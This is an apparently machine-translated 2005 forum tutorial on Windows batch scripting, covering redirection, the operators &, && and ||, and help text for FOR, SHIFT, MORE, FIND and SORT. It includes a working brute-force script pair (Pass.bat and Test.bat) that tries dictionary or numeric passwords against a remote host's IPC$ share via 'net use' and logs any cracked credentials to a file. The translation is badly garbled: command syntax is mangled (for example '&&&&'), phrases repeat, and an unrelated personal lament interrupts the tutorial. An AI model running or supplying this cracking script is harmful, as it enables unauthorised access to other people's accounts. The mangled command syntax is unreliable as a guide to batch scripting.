How many information have you got here? 1. You can edit a text using the write function of the echo command directly on the DOS prompt, without a special text editing tool; 2, the difference between pipe commands> and >> as described above. If you only use the> command here to complete the above, it will eventually generate an A.BAT, but only the last line of Exit is left. So> and >> usually use, unless you redirect the output only one line, you can use only>. The combination of examples have repeatedly exported to the output redirection pipeline command> and >>.
13, <,> &, <&
These three orders are also pipelines, but they are generally not common, you just need to know how OK, of course, if you want to study it, you can check it yourself.
<, Enter the redirected command, read the command input from the file instead of reading from the keyboard.
> &, Write the output of a handle to the input of another handle.
<&, Just, and> & in turn, read input from one handle and write it into another handle output.
For example, for the three pipelines, it will also be involved in the exquisite application of the rear batch script.
Here are the combination commands: &, &&, ||
The combination command, as the name suggests, that is, multiple commands can be combined to execute as a command. This is allowed in batch scripts and is very wide. Its format is very simple - since now it has become a file, then this multiple commands will be connected to the same line with these combined commands --- Because the batch is not recognized. The role of the combination order is like giving love people. It is said that it is said that it is said that it is said that it is said that it will take a good words. The effect may be better - Of course, I have to exclude a special situation: These words Is there a sequence in order, some words can be said at the same time. Like the batch script, sometimes some commands cannot be executed at the same time, and later tell you.
Just sent away a classmate, people went to the building to feel more and more obvious, looking at empty beds, there is only one person left in the noisy dormitory in the next day, the whole world is only the very annoying mouse At this time, you will be cute ---- only it will accompany me in the dark night of this dare not turn off ---- a failure man who can't pay attention to the final exam. failure! I feel that I can't breathe, this failure is simply suffocating me, simply letting my hand receive the signal of the brain, simply let this unfinished tutorial die. But can I blame?
After a busy one, I had to have a year, but I hanged the department, failed; I hanged the department, I turned it out, and I lost the back of the whole class. The failure of failure; even more failed, it was the most lost time, I can't find it. When a person can talk; but the most failure, it suddenly found that he was so fragile, so couldn't stay lonely. However, this is also a problem that I have a long time, why know why that the love is a vortex, but also jumping in the wishfulness ---- this is youthful, the same age, the fire is as disturbed. No longer love, I don't wait for another person; no longer love, I don't pity in the prisoner you give; no longer love, I don't want to be so ridiculous in others; Love, I don't love it again. Even if I have collapsed, I have to be a person, my head can't be curved, I can't breathe, because although I fail, but a man, it is a man who can't bow down! 14, &
This can be said to be the simplest combination command, its role is used to connect N DOS commands, and perform these commands in order, regardless of whether there is a command to perform failed. Example 16:
Copy
a.txt
B.TXT
/ y
&
Del
a.txt
In fact, this sentence and MOVE
a.txt
The effect of B.TXT is the same, but the former is divided into two steps (there will be a problem with which method to use later). This command is very simple, there is not much time tongue, the only thing to pay attention to is that the commands on both sides are in the order of execution, from the procedure.
15, &&
Remember, a few commands described here are combined commands, so they must have other commands before and after they have. (Do not combine?). This command is no exception. It can combine it before and after the two commands. When a command is used, the & command is different, it will automatically determine if there is several commands that are connected by it later. An error will not be performed once a command will not continue to perform the remaining commands. This provides easy for our automation to complete some tasks. Example 17:
DIR
File: //1%/www/user.mdb
&&&&
Copy
File: //1%/www/user.mdb
E: / backup / www
If the remote host exists in User.mdb, Copy to the local E: / Backup / www, if there is of course, there is of course not executing COPY. Is this a bit of a friend who engages in network management? Ha ha. In fact, it is the same as the role of the sentence:
IF
exist
File: //1%/www/user.mdb
Copy
File: //1%/www/user.mdb
E: / backup / www
As for which one you like, I can't judge which one of DIR and IF is more efficient, so I don't know which one is better, huh, huh.
Do you still remember "Some commands cannot be executed at the same time?" Do you believe this sentence? Of course, I have to believe that I don't believe it will give you questions: list the files and folders of the C disk and D disk to the A.txt file. How will you get this question? Have friends say, is this not very easy? In the same time, two DIRs are executed, and then the result is OK in A.TXT, see example 18:
DIR
C: /
&&&&
DIR
D: /
>
a.txt
Take a closer study, see if you can meet the requirements of the topic! wrong! This is only the information of the D disk in A.txt after this execution! why? Just because the && command and> command can't appear in a sentence at the same time (the batch is seen as a sentence)! ! The priority of the combination command && does not have a high priority of the pipeline command (you will summarize, please refer to the place)! So this sentence will be divided into these two parts: DIRC: / and DIR
D: /
>
A.txt, not as you think of these: DIR
C: /
&&&&
DIR
D: / and>
a.txt. To use a combination command && to reach the requirements of the topic, you must have to write:
DIR
C: /
>
a.txt
&&&&
DIR
D: /
>>
a.txt
In this way, according to the high priority, DOS will divide this sentence into two parts: DIR
C: /
>
A.TXT and DIR
D: /
>>
a.txt. The differences in the few words in the eighteen are special, and it is worth a study.
Of course, you can also use & command (you think about it.):
DIR
C: /
>
a.txt
&
DIR
D: /
>>
a.txt
16, ||
The usage and && almost the same, but the role is just right: Use this method when performing multiple commands, when you encounter an execution of the correct command, exit this command combination, no longer continue to execute the following command. Topic: Check if there is an exe file with S if there is an exe file in the current directory. Example 19:
@echo
Off
DIR
s * .exe
||
exit
In fact, this example is a flaw, have you seen it? In fact, it is very simple. I will try myself: If there is the exe file, you will withdraw it; if there is no exe file, you also quit! why? Because if there is no .exe file, the previous command DIR
S * .exe execution is definitely unsuccessful, so continue Exit, naturally withdrawal, huh, huh. So how do I solve the problem given by the topic? Event:
@echo
Off
DIR
s * .exe
||
echo
DIDN '
exist
File
s * .exe
&
PAUSE
&
exit
The result of this execution can achieve the requirements of the topic, whether there is two results in S * .exe. The meaning of the suspension here, of course, let you see the contents of Echo output, otherwise a flashing window, Echo is white.
Two scripts given two better research priorities (also more difficult to understand), carefully study their differences in order to completely understand the priority order of various orders, and have a big advantage for the future use of these commands to write scripts. --- Will n't go wrong! OK, please see Eleventh and Example 22:
Eleventh:
@echo
Off
DIR
a.ttt
/ a
&
DIR
a.txt
||
exit
222:
@echo
Off
DIR
a.ttt
/ a
&&&&
DIR
a.txt
||
exit
WARNING: Friends with cardiovascular and cerebrovascular diseases please do not study the above two cases, otherwise the light is large, and the heavy blood vessels burst. Any person is responsible for the study of the difference between these two scripts, and is not responsible for himself or its legal guardians. That warning! Regarding pipeline commands and combination orders, you will introduce it here, don't know if you understand it? Oh, I can understand it will become genius, unless you have already mastered it! Don't underestimate these ghost orders, the big pool is my saying, it is not a humanite! But I still calm down to study some, and finally, the conclusions have been given, I have given you a little more, I hope you have a good collection and digestive absorption, of course, there is a mistake to be discovered, or incomplete The place is seen by you, please tell me!
These orders really make my heads great. There is a very wide batch tutorial on the Internet: "Concise Batch Tutorial", although it is more comprehensive, it looks very interested. When introducing orders for forks, a for
/?
>
a.txt
&
Start
A.TXT is full (Of course I can't say anything at this point, after all, I even
/? Nothing), and the above-mentioned pipeline command and combination commands, as well as this tutorial, will not introduce the use of batch operation registry and other aspects. The reason why I spend a whole chapter tells the pipeline command and combination command because they are the essences and souls of the batch, whether they can use these orders, whether they can master the prerequisites for batch. Such as the problem with DOS commands such as for, set, can be specifically targeted from the perspective of DOS, but the problem of these commands is not easy to master ---- they are too complex. !
Deposit the following code as a BAT file
1. If you use a dictionary: Pass.bat
Dictionary file path and name
Host
username
2, if you use a number: Pass.bat
Start number
Stepman
End number
Host
username
After the password is crackled, stored in the C: /Pass.txt file.
Deposit the following code as a Pass.bat file
@echo
Off
echo
-------------------------------------------------- -----------------
>> C: /Pass.txt
echo
-------------------------------------------------- -----------------
>> C: /Pass.txt
date
/ t
>> C: /Pass.txt
Time
/ t
>> C: /Pass.txt
echo
Crack results:
>> C: /Pass.txt
IF
"% 6" == "1"
goto
The big pool is my saying 2
: The big pool is my saying 1
Start
"Crack"
/ min
cmd
/ c
for
/ f
%% i
in
(%1)
DO
Call
Test.bat
%2
"%% i"
% 3
goto
quit
: The big pool is my saying 2
Start
"Crack"
/ min
cmd
/ c
for
/ L
%% i
in
(% 1,% 2,% 3)
DO
Call
Test.bat
% 4
"%% i"
% 5
: quit
Save the following code as Test.bat
Net
USE
//% 1 / IPC $
%2
/ user: "% 3"
goto
Answer% Errorlevel%
REM
% ErrorLevel% means that the previous command will perform the return result, NetUse successfully returns 0, failed to return 2
: Answer0
echo
Remote host: "% 1"
>> C: /Pass.txt
echo
use
Household: "% 3"
>> C: /Pass.txt
echo
dense
Code:% 2
>> C: /Pass.txt
Net
USE
//% 1 / IPC $
/ delet
exit
: Answer2
For
Run the specified command to each file in a set of files.
Can be used in a batch program or directly from the command prompt
for
command.
To use in the batch program
for
Command, please use the following syntax:
for
%% Variable
in
(SET)
DOCOMMAND
[Command-parameters]]
To use it under the command prompt
For, please use the following syntax:
for
% Variable
in
(SET)
DO
Command
[Command-parameters]]
parameter
%% Variable
or
% Variable
Represents replaceable parameters. for
Command
set
Each text string specified in it is replaced
%% Variable (or
% variable, until this order (in
Command-parameters
Middle specified) Processing all files. use
%%
Variable
Execute in the batch program
for
command. use
%
Variable
Executed by command prompt
for
command. Variable names are case sensitive.
(SET)
Specifies one or more files or text strings to be processed by the specified command. Need parentheses.
Command
Specify
set
Commands performed on each file contained.
Command-parameters
Specifies any parameters or switches to specify commands (if specified, use any parameters or switches).
If the command extension is enabled (Windows
2000
The default settings will be supported
for
Other forms of commands.
For
Other forms of order
If the command extension is enabled, it will support the following
for
Other formats of the command:
Contents only
for
/ D
[%%
|
%] Variable
in
(SET)
DOCOMMAND
[Command-parameters]]
in case
set
Contains wildcards (*
with
?), Specify matching with the directory name instead of the file name.
Recursion
for
/ R
[[DRIVE
:] PATH]
[%%
|
%] Variable
in
(SET)
DOCOMMAND
[Command-parameters]]
Enter root directory tree [Drive:] PATH, executed in each directory of the tree
for
Scriptures. If
/ R
There is no specified directory, it is assumed to be the current directory. in case
set
Just a period
(.)
Character, only list the directory tree.
Iterative
for
/ L
[%%
|
%] Variable
in
(Start, Step, End)
DO
Command
[Command-parameters]]
Collection is a series of numbers from head to tail. This, (1, 1, 5)
Sequence will be generated
1
2
3
4
5,
(5, -1, 1)
Sequence will be generated
(5
4
3
2
1).
File analysis
for
/ F
["Options"]
[%%
|
%] Variable
in
(Filenameset)
DO
Command
[Command-parameters] for
/ F
["Options"]
[%%
|
%] Variable
in
("Literal
String ")
DO
Command [Command-Parameters]]
for
/ F
["Options"]
[%%
|
%] Variable
in
('Command')
DO
Command
[Command-parameters]]
Or, if there is
Usebackq
Option:
for
/ F
["Options"]
[%%
|
%] Variable
in
(Filenameset)
DO
Command
[Command-parameters]]
for
/ F
["Options"]
[%%
|
%] Variable
in
('Literal
String ')
DO
Command
[Command-parameters]]
for
/ F
["Options"]
[%%
|
%] Variable
in
(`Command`)
DOCOMMAND
[Command-parameters]]
FILENAMESET
The parameter specifies one or more file names. Continue to
FILENAMESET
Before the next file, each file will be opened, read, and processed.
The process is divided into independent text rows and then parsing each line into zero or more tokens. Then use the variable value (or multiple values) set to find to find one or more token strings.
for
Cyclic body. By default, / f
Pass the first blank separator symbol of each line of each file.
Skip the empty line. By specifying an optional "Options" parameter, you can overwrite the default parsing behavior. This is a reference string that contains one or more keywords to specify different parsing options. Keywords are:
Keyword
Description
EOL = C
Specify the end of the note character (only one character)
Skip = n
Specifies the number of rows skipped on the beginning of the file.
Delims = xxx
Specify a set of delimiter. This will replace the default separator set of spaces and tabs.
Tokens = x, y, m-N
Specifies to pass the token from each line to each repeated body. This will result in allocating other variable names. M-N
The format is a range, specified from
MTH
Until
nth
Token. If in the token
=
The last character in the string is an asterisk, and the additional variable will be assigned, and the remaining text is received on the line after parsing the last token.
Usebackq
Specifies to execute the right quotation number string as the command, the single quotation string is a text string command, you can use double quotes including
FILENAMESET
The file name in the middle.
Variable replacement
In addition, it has been enhanced
for
Replacement modification program referenced by variables. You can now use the following optional syntax (for any variable)
I):
Variable (using a modification)
Description
% ~ I
Expand any quotes around the surroundings
(")
of
% I
% ~ FI
will
% I
Expand to a fully qualified path name
% ~ di
Only
% I
Expand to the drive letter
% ~ Pi
Only
% I
Expand to the path
% ~ Ni
Only
% I
Expand to the file name
% ~ xi
Only
% I
Expand to the file extension
% ~ Si
Expand the path to contain only short names
% ~ Ai
will
% I
Expand file properties to files
% ~ Ti
will
% I
Expand date / time
% ~ Zi
will
% I
Expand to file size
% ~ $ PATH: I
search for
Path
The catalog listed in the environment variable and will
% I
Expand all the qualified names that found the results. This modifier will extends to an empty string if no file is defined, or after search. Modifying programs can be merged to get complex results:
Variable (using a merged modification)
Description
% ~ DPI
Only
% I
Expand to drive numbers and paths
% ~ NXI
Only
% I
Expand to file name and extension
% ~ fsi
will
% I
Expand the full path name containing only short names
% ~ DP $ PATH: I
in
Path
Search in the directory listed in the environment variable
% I, and expand the first driver number and path to find the result
% ~ ftzai
will
% I
Extension
DIR
Similar output line
note
In the above example,% i
with
Path
Can be replaced by other effective values. Taking effectively
for
Variable name termination
% ~
grammar.
Use uppercase variable names (for example
% I) makes the code more readable and avoid confusion with uncomprocrecient modification.
Shift
Change the location of the replaceable parameters in the batch file.
Shift
Enable command extension (Windows
2000
SHIFT after the default settings
Command support
/ N
Switch, the switch notification command is in the first
n
Start changes at the parameter, N
Can be from
0
Until
8
Any value. E.g,
Shift
/2
will
% 3
Change to
% 2
% 4
Change to
% 3
Wait, but
% 0
with
%1
constant.
Filter command
The filter command can help you sort, view, and select some command output.
Pass information by filter command
The filter command can divide, rearrange, and extract some information operations. Windows
2000
There are three filter commands:
More
The command is displayed each time display a screen file content or command output.
Find
The command searches for specified characters in the file and command output.
Sort
The command is arranged in alphabetical order and command output.
To send the input from the file to the filter command, use less than symbol
(<). If you want to filter the command to get your input from another command, use the pipeline
(|).
use
More
Command to control the screen display
More
Commands the content or command output of the file each time you display. For example, below
More
Command one screen each time
List.txt
Document content:
More
<
List.txt
When the information shows a screen, word "more" will appear. To continue displaying the next screen, press any key on the keyboard. To stop the command and do not view the details, please press
Ctrl C
key.
If you use the command to generate multi-screen output, more
Will be very useful. For example, assume that you want to view the directory tree of the hard disk. in case
Windows
2000
You can't display all the directories in one screen, please use the pipe number
(|)
with
More
Command
Tree
Command, as shown in the following example:
Tree
C: /
|
More
Tree
The first screen output of the command is displayed, then the word "more". Windows
2000
Pause until the user presses any key on the keyboard (PAUSE
Overseas the key).
use
Find
Command search text
Find
Command Search for specified text in one or more files. Windows
2000
Show each row that contains this text. Find
Command can be used as a filter command or standard
Windows
2000
command. Willing
Find
Used as a standard
Windows
2000
Information about the command, please click on the "Related Topic" list
Find.
Be
Find
When used as a filter command, please include less than symbols
(<)
And search file name. When entering the file name, remember that the search is to be case sensitive. For example, the following command lookup file
TRADE.TXT
All "Pacific
RIM string:
Find
Pacific
RIM "
<
TRADE.TXT
To save
Find
The output of the command is not displayed, please use larger than the number
(>)
And to store the file name of the output. For example, the following command lookup file
TRADE.TXT
All "Pacific
RIM "string and saves the result in
NWTRADE.TXT
Document:
Find
Pacific
RIM "
<
TRADE.TXT
>
NWTRADE.TXT
Sort text file
Sort
The command is arranged in alphabetical order. The output of the text file or command. For example, you can use the following command pair
List.txt
The content of the file is sorted and the result is displayed on the screen:
Sort
<
List.txt
In this example, sort
Command pair
List.txt
The row of files is sorted and displayed, but does not change files. To save
Sort
The output of the command is not displayed, please include larger than the number in the command.
(>)
And file name. For example, you can use the following command pair
List.txt
The line of the file is sorted in alphabetical order and save the result to
Alphlist.txt
Document:
Sort
<
List.txt
>
Alphlist.txt
To sort the output of the command, type the pipe behind
(|)
with
Sort
Command command. For example, the following command pair
Find
The output of the command is sorted:
Find
"Jones"
Mailst.txt
|
Sort
WINDOWS when typing this command
2000
A row in which "Jones" appears in alphabetical order.
Merged command with rendering
You can merge filter commands, other commands, and file names to generate custom commands. For example, you can use the following command to store file names containing "log" strings:
DIR
/ B
|
Find
"Log"
>
Loglist.txt
Windows
2000
by
Find
Filter command sends
DIR
The output of the command is stored in the file name of the string "log"
Loglist.txt
Document. Store the result as a file name list (eg, a.log, logdat.svd
with
MyLog.bat).
To use multiple filters in the same command, use the pipeline
(|)
Separate the filter. For example, the following command search
C
Each directory on the disk finds the file name containing the "log" string, and each time you display a screen:
DIR
C: /
/ s
/ B
|
Find
"Log"
|
More
Because of the use of pipelines
(|), Windows
2000
by
Find
Command send
DIR
The output of the command. Find
The command only selects the file name containing the string "log". More
Commands display each time
Find
Command selected file name.
More
An output screen is displayed each time. This command is usually used to view long files. You can use this command alone, or use it to control the output of other commands, for example
Type
command. When the display area displayed is displayed, it will appear.
More
Tip, the user can enter a number of commands to control the way to view the rest of the file.
Command
Name
|
More
[/ c]
[/ P]
[/ s]
[/ tn]
[ n]
More
[[/ c]
[/ p]
[/ s]
[/ tn]
[ n]]]]
<
[Drive:] [PATH]
Filename
More
[/ c]
[/ p]
[/ s]
[/ tn]
[ N] [files]
parameter
[Drive:] [PATH]
Filename
Specify the file to be displayed.
Command
Name
Specifies the command to display it.
/ c
Display the page before clear the screen.
/ P
Extend the change page.
/ s
Change multiple blank lines to a blank line.
/ TN
Change the sections to
n
Space
N
Display
n
The first file starting at the specified row.
Files
Specifies the list of files to display. Separate the file name with a space.
More
Subcommand
The following command is
More
prompt
(-
More
-)
Upon acceptance.
Keyword
operating
Space
Show next page.
ENTER
Show the next line.
Fly
Show the next file.
Qi
drop out.
?
Displays the available commands.
=
The line number is displayed.
P
n
Show the following
n
Row.
S
n
Skip below
n
Row.
Find
Search for specified text strings in a file or multiple files.
Find when searching for the specified file
All rows containing the specified string will be displayed.
Find
[/ v]
[/ c]
[/ n]
String "
[[DRIVE:] [PATH] FileName [...]]]]]
parameter
/ v
Displays all rows that are not included in the specified string.
/ c
Only the number of rows containing the specified string is displayed.
/ N
Place the file line number at the beginning.
/ I
Specifies that the search is not case sensitive.
String "
Specifies the character group to search. Must
String
The text is included in quotation marks.
[Drive:] [PATH]
Filename
Specifies the location and name of the file to search for specified strings.
Sort
Read input, sort data and write the result on the screen, file, and other devices.
Sort
[/ r]
[/ n]
[/ m
Kilobytes]
[/ L
Locale]
[/ REC
CHARACTERS]
[[Drive1:] [PATH1] Filename1]
[/ t
[Drive2:] [PATH2]]]]]]
[/ o
[Drive3:] [PATH3] Filename3]
[Command
|]
Sort
[/ r]
[/ n]
[/ m
Kilobytes]
[/ L
Locale]
[/ REC
CHARACTERS]
[[Drive1:] [PATH1] Filename1]
[/ t
[Drive2:] [PATH2]]]]]]
[/ o
[Drive3:] [PATH3] Filename3]
parameter
/ r
Upside down order, ie
Z
Until
A
Sort, then from
9
Until
0
Sort.
/ N
Specify character position number
n, sort
Every time you start here. For example, / 3
Indicates that every time the third character is started. less than
n
The rows of characters are sorted before other rows. By default, compare the first character in each row.
/ m
Kilobytes
Specifies the number of main memory used to sort, according to kilobytes
(Kb)
meter. The minimum memory used is always
160
KB. If the memory size is specified, no matter how many main memory is available, the specified exact quantity (but at least
160
The memory of KB) will be used to sort.
If the input and output is file, the default maximum memory size is available by the user without the specified size.
90%, otherwise it is the main memory
45%. Default settings typically produce optimal performance.
/ L
Locale
Replace the character sort order defined by the system default zone setting;
Windows
2000
Language and "Country)". Currently, the default zone setting unique alternate option is "C" area setting, which is sorted according to binary encoding than the natural language is ranked.
/ REC
CHARACTERS
Specifies the maximum number of characters in the row of records or input files (the default is 4096, the maximum value is
65535).
[Drive1:] [Path1] FileName1
Specify the file to be sorted. If no file name is specified, the standard input is sorted. Specifying the input file is faster than the same file as a standard input.
/ t
[Drive2:] [PATH2]
Specify
sort
The directory path stored in the command, preventing data from being loaded into the main memory. The default is the use of system temporary directories.
/ O
[Drive3:] [PATH3] FileName3
Specifies the file to be stored after the sort. If not specified, the data will write to a standard output. Specifying the output file is redirected by the same file as a standard output!
[This post 2005-2-7 1:20:03 was edited by the author himself]